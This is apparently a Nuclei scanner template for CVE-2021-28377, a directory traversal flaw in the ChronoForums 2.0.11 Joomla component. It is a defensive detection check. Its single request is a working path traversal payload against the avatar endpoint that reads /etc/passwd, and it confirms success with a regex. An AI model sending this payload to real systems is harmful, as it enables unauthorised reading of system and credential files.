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id : CVE-2021-28377
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info :
name : ChronoForums 2.0.11 - Directory Traversal
author : 0x_Akoko
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severity : medium
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description : The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, for example the Joomla! configuration file which contains credentials.
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reference :
- https://herolab.usd.de/en/security-advisories/usd-2021-0007/
- https://nvd.nist.gov/vuln/detail/CVE-2021-28377
classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
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cve-id : CVE-2021-28377
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cwe-id : CWE-22
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tags : cve,cve2021,chronoforums,lfi,joomla
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requests :
- method : GET
path :
- "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200